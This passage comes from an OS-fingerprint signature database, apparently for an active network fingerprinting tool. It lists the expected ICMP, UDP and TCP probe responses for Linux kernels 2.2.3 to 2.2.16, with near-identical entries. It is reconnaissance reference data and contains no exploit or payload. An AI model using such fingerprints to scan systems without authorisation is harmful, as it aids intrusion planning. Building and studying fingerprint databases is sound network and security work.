icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.16" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.15" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.14" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.13" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.12" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.11" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.10" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: 